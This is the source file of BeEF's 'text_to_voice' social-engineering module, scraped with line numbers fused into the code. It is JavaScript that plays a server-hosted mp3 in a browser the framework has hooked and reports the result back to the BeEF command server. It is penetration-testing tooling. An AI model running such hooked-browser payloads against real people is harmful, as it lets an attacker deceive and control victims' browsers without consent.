Path: blob/master/modules/social_engineering/text_to_voice/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/msg-<%= @command_id %>.mp3';9try {10var sound = new Audio(url);11sound.play();12beef.debug('[Text to Voice] Playing mp3: ' + url);13beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success());14} catch (e) {15beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url);16beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());17}1819});202122